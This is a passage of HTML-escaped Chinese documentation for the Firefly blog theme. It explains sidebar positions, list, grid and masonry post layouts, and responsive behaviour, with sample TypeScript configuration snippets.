/&gt;&lt;figcaption&gt;左侧边栏+列表布局&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img alt=&quot;右侧边栏+网格布局&quot; loading=&quot;lazy&quot; width=&quot;2192&quot; height=&quot;1233&quot; src=&quot;/_astro/right-grid2.BDLeNFG9_Z1Ypd95.webp&quot; /&gt;&lt;figcaption&gt;右侧边栏+网格布局&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img alt=&quot;左侧边栏+三列网格布局&quot; loading=&quot;lazy&quot; width=&quot;2192&quot; height=&quot;1233&quot; src=&quot;/_astro/left-grid3.DCIbm9j3_Z5Vd5j.webp&quot; /&gt;&lt;figcaption&gt;左侧边栏+三列网格布局&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;figure&gt;&lt;img alt=&quot;双侧边栏+列表布局&quot; loading=&quot;lazy&quot; width=&quot;2192&quot; height=&quot;1233&quot; src=&quot;/_astro/both-list.CybtDZTU_xxVkb.webp&quot; /&gt;&lt;figcaption&gt;双侧边栏+列表布局&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img alt=&quot;双侧边栏+网格布局&quot; loading=&quot;lazy&quot; width=&quot;2192&quot; height=&quot;1233&quot; src=&quot;/_astro/both-grid.B-BFe9Al_1g1tLj.webp&quot; /&gt;&lt;figcaption&gt;双侧边栏+网格布局&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img alt=&quot;双侧边栏+网格瀑布流布局&quot; loading=&quot;lazy&quot; width=&quot;2192&quot; height=&quot;1233&quot; src=&quot;/_astro/masonry.BgzRsBcp_2mfpqn.webp&quot; /&gt;&lt;figcaption&gt;双侧边栏+网格瀑布流布局&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;一、侧边栏布局系统&lt;a href=&quot;#一侧边栏布局系统&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;侧边栏是博客页面的重要组成部分，用于展示导航、分类、标签、统计信息等辅助内容。Firefly 支持两种侧边栏布局模式。&lt;/p&gt;&lt;section&gt;&lt;h3&gt;1.1 单侧边栏模式&lt;a href=&quot;#11-单侧边栏模式&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;左侧边栏 (position: “left”)&lt;a href=&quot;#左侧边栏-position-left&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;左侧边栏布局&quot; loading=&quot;lazy&quot; width=&quot;2192&quot; height=&quot;1233&quot; src=&quot;/_astro/left-list.CdJfuugk_23fiFf.webp&quot; /&gt;&lt;figcaption&gt;左侧边栏布局&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;右侧边栏 (position: “right”)&lt;a href=&quot;#右侧边栏-position-right&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;右侧边栏布局&quot; loading=&quot;lazy&quot; width=&quot;2192&quot; height=&quot;1233&quot; src=&quot;/_astro/right-grid2.BDLeNFG9_Z1Ypd95.webp&quot; /&gt;&lt;figcaption&gt;右侧边栏布局&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;特点&lt;a href=&quot;#特点&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;侧边栏固定在页面其中一侧&lt;/li&gt;
&lt;li&gt;文章阅读区域体验更佳，更宽敞&lt;/li&gt;
&lt;li&gt;更加简约，没有那么紧凑&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;适用场景&lt;a href=&quot;#适用场景&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;传统博客风格&lt;/li&gt;
&lt;li&gt;强调导航和分类的博客&lt;/li&gt;
&lt;li&gt;需要突出用户资料的个人博客&lt;/li&gt;
&lt;li&gt;内容为主，辅助信息次之的场景&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;TIP&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;可以通过showBothSidebarsOnPostPage配置是否在文章详情页显示双侧边栏&lt;/p&gt;&lt;p&gt;当position为left或right时开启此项后，文章详情页将显示双侧边栏，主页等其他页面保持单侧边栏&lt;/p&gt;&lt;p&gt;适用在只想用单侧栏，但在文章详情页想用对侧栏的目录等组件的场景&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;配置示例&lt;a href=&quot;#配置示例&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;src/config/sidebarConfig.ts&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;export&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;const&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;sidebarLayoutConfig&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;SidebarLayoutConfig&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;enable&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;position&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;left&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;// 左侧边栏&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;showBothSidebarsOnPostPage&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;// 是否在文章详情页显示双侧边栏&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;};&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;1.2 双侧边栏模式 (position: “both”)&lt;a href=&quot;#12-双侧边栏模式-position-both&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;特点&lt;a href=&quot;#特点-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;左右两侧同时存在侧边栏&lt;/li&gt;
&lt;li&gt;主内容区域位于中间&lt;/li&gt;
&lt;li&gt;最大化利用屏幕空间&lt;/li&gt;
&lt;li&gt;可以展示更多辅助信息&lt;/li&gt;
&lt;li&gt;适合宽屏显示器&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;布局结构&lt;a href=&quot;#布局结构&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;双侧边栏+列表布局&quot; loading=&quot;lazy&quot; width=&quot;2192&quot; height=&quot;1233&quot; src=&quot;/_astro/both-list.CybtDZTU_xxVkb.webp&quot; /&gt;&lt;figcaption&gt;双侧边栏+列表布局&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;双侧边栏+网格布局&quot; loading=&quot;lazy&quot; width=&quot;2192&quot; height=&quot;1233&quot; src=&quot;/_astro/both-grid.B-BFe9Al_1g1tLj.webp&quot; /&gt;&lt;figcaption&gt;双侧边栏+网格布局&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;适用场景&lt;a href=&quot;#适用场景-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;宽屏桌面端浏览&lt;/li&gt;
&lt;li&gt;信息密集型博客&lt;/li&gt;
&lt;li&gt;需要展示大量辅助内容&lt;/li&gt;
&lt;li&gt;专业性强的技术博客&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;配置示例&lt;a href=&quot;#配置示例-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;src/config/sidebarConfig.ts&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;export&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;const&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;sidebarLayoutConfig&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;SidebarLayoutConfig&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;enable&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;position&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;both&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;// 双侧边栏&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;二、文章列表布局系统&lt;a href=&quot;#二文章列表布局系统&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;文章列表是博客首页和归档页的核心内容，Firefly 提供两种展示方式，并支持多种网格配置。&lt;/p&gt;&lt;section&gt;&lt;h3&gt;2.1 列表模式 (defaultMode: “list”)&lt;a href=&quot;#21-列表模式-defaultmode-list&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;特点&lt;a href=&quot;#特点-2&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;单列纵向排列&lt;/li&gt;
&lt;li&gt;显示文章封面图，可配置在左侧或右侧&lt;/li&gt;
&lt;li&gt;展示更多文章摘要&lt;/li&gt;
&lt;li&gt;适合深度阅读&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;列表布局结构&lt;a href=&quot;#列表布局结构&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;列表模式布局&quot; loading=&quot;lazy&quot; width=&quot;2192&quot; height=&quot;1233&quot; src=&quot;/_astro/left-list.CdJfuugk_23fiFf.webp&quot; /&gt;&lt;figcaption&gt;列表模式布局&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;封面位置&lt;a href=&quot;#封面位置&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;列表模式的封面图默认在卡片右侧，可以通过 &lt;code&gt;coverPosition&lt;/code&gt; 改到左侧。改到左侧后，标题前的主题色竖线会自动隐藏（它是贴着卡片左边缘的设计），腾出的间距留给正文。&lt;/p&gt;&lt;p&gt;网格模式的封面固定在卡片顶部，不受这项配置影响。&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;优点&lt;a href=&quot;#优点&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;✅ 视觉冲击力强，封面图吸引眼球&lt;/li&gt;
&lt;li&gt;✅ 可以展示更多文章信息（摘要、标签等）&lt;/li&gt;
&lt;li&gt;✅ 适合图片内容丰富的博客&lt;/li&gt;
&lt;li&gt;✅ 移动端友好，单列更易阅读&lt;/li&gt;
&lt;li&gt;✅ 兼容所有侧边栏配置（单侧、双侧）&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;配置示例&lt;a href=&quot;#配置示例-2&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;src/config/siteConfig.ts&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;export&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;const&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;siteConfig&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;SiteConfig&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;postListLayout&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;defaultMode&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;list&quot;&lt;/span&gt;&lt;span&gt;,    &lt;/span&gt;&lt;span&gt;// 列表模式&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;coverPosition&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;right&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;// 封面图位置：&quot;right&quot; 右侧，&quot;left&quot; 左侧&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;},&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;};&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2.2 网格模式 (defaultMode: “grid”)&lt;a href=&quot;#22-网格模式-defaultmode-grid&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;特点&lt;a href=&quot;#特点-3&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;自适应列数，根据浏览器宽度自动调整&lt;/li&gt;
&lt;li&gt;紧凑布局，信息密度高&lt;/li&gt;
&lt;li&gt;适合快速浏览&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;自适应网格&lt;a href=&quot;#自适应网格&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;网格模式通过 &lt;code&gt;columnWidth&lt;/code&gt; 配置卡片的最小宽度（单位 px），浏览器会根据容器可用宽度自动计算能容纳多少列。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;网格布局&quot; loading=&quot;lazy&quot; width=&quot;2192&quot; height=&quot;1233&quot; src=&quot;/_astro/left-grid3.DCIbm9j3_Z5Vd5j.webp&quot; /&gt;&lt;figcaption&gt;网格布局&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;配置示例&lt;a href=&quot;#配置示例-3&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;src/config/siteConfig.ts&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;export&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;const&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;siteConfig&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;SiteConfig&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;postListLayout&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;defaultMode&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;grid&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;grid&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;masonry&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,      &lt;/span&gt;&lt;span&gt;// 开启瀑布流&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;columnWidth&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;320&lt;/span&gt;&lt;span&gt;,   &lt;/span&gt;&lt;span&gt;// 卡片最小宽度(px)，浏览器自动计算列数&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;},&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;},&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;};&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2.3 瀑布流布局 (Masonry)&lt;a href=&quot;#23-瀑布流布局-masonry&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Firefly 的网格模式内置了智能瀑布流布局支持，解决了网格布局中因图文混合文章导致的卡片高度不一致导致的空白问题。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;瀑布流布局&quot; loading=&quot;lazy&quot; width=&quot;2192&quot; height=&quot;1233&quot; src=&quot;/_astro/masonry.BgzRsBcp_2mfpqn.webp&quot; /&gt;&lt;figcaption&gt;瀑布流布局&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;智能排版&lt;/strong&gt;：自动将卡片放置到最短的列，最大化利用垂直空间。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;消除空白&lt;/strong&gt;：通过绝对定位精确计算每个卡片的位置，让卡片紧贴上方卡片，消除垂直方向的空白间隙。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自适应列数&lt;/strong&gt;：瀑布流同样根据 &lt;code&gt;columnWidth&lt;/code&gt; 和容器宽度动态计算列数，无需固定配置。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;配置灵活&lt;/strong&gt;：您可以在 &lt;code&gt;siteConfig.ts&lt;/code&gt; 中通过 &lt;code&gt;postListLayout.grid.masonry&lt;/code&gt; 选项自由开启或关闭此功能。&lt;/li&gt;
&lt;/ul&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;三、布局组合指南&lt;a href=&quot;#三布局组合指南&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Firefly 允许您自由组合侧边栏和文章列表布局。以下是各种组合的效果说明。&lt;/p&gt;


































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;侧边栏模式&lt;/th&gt;&lt;th&gt;文章列表模式&lt;/th&gt;&lt;th&gt;推荐度&lt;/th&gt;&lt;th&gt;适用场景&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;单侧边栏&lt;/td&gt;&lt;td&gt;列表模式&lt;/td&gt;&lt;td&gt;⭐⭐⭐⭐⭐&lt;/td&gt;&lt;td&gt;摄影、设计、生活类博客，强调图片和沉浸感&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;单侧边栏&lt;/td&gt;&lt;td&gt;网格模式&lt;/td&gt;&lt;td&gt;⭐⭐⭐⭐⭐&lt;/td&gt;&lt;td&gt;技术、笔记类博客，平衡阅读与检索效率&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;双侧边栏&lt;/td&gt;&lt;td&gt;列表模式&lt;/td&gt;&lt;td&gt;⭐⭐⭐⭐⭐&lt;/td&gt;&lt;td&gt;需要展示大量侧边栏信息的站点&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;双侧边栏&lt;/td&gt;&lt;td&gt;网格模式&lt;/td&gt;&lt;td&gt;⭐⭐⭐⭐⭐&lt;/td&gt;&lt;td&gt;极客风格，追求最高信息密度&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;hr /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;四、响应式布局行为&lt;a href=&quot;#四响应式布局行为&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Firefly 的布局系统具有智能的响应式设计，会根据屏幕尺寸自动调整。&lt;/p&gt;&lt;p&gt;为了保证最佳阅读体验，系统会在屏幕变窄时自动调整布局：&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;网格列数自动减少&lt;/strong&gt;：网格模式的列数由 &lt;code&gt;columnWidth&lt;/code&gt; 和容器宽度自动决定，屏幕越窄列数越少。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;列表模式 -&amp;gt; 网格模式&lt;/strong&gt;：当屏幕宽度小于 380px（超小屏设备）时，列表模式会自动切换为网格模式，以保证卡片内容的可读性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;双侧边栏 -&amp;gt; 单侧边栏&lt;/strong&gt;：当屏幕宽度小于 1280px 时，会根据&lt;code&gt;tabletSidebar&lt;/code&gt;配置显示单侧边栏，隐藏其中一个侧边栏，文章目录导航会切换成浮动目录导航。&lt;/li&gt;
&lt;/ol&gt;&lt;hr /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;五、常见问题&lt;a href=&quot;#五常见问题&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;Q1: 如何调整网格列数？&lt;a href=&quot;#q1-如何调整网格列数&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;A&lt;/strong&gt;: 通过 &lt;code&gt;columnWidth&lt;/code&gt; 配置卡片最小宽度即可。值越小，同等宽度下列数越多；值越大，列数越少。浏览器会自动根据可用宽度计算最佳列数。&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;六、总结&lt;a href=&quot;#六总结&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Firefly 的布局系统给予了您更大的自由度，您都可以通过简单的配置实现。&lt;/p&gt;&lt;p&gt;我们建议您根据自己的内容类型和目标读者的设备偏好，尝试不同的组合，找到最适合您的博客形态。&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;相关链接&lt;a href=&quot;#相关链接&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;📚 &lt;a href=&quot;https://docs-firefly.cuteleaf.cn/config/sidebarConfig-usage/&quot; target=&quot;_blank&quot;&gt;侧边栏配置文档&lt;/a&gt;&lt;/li&gt;
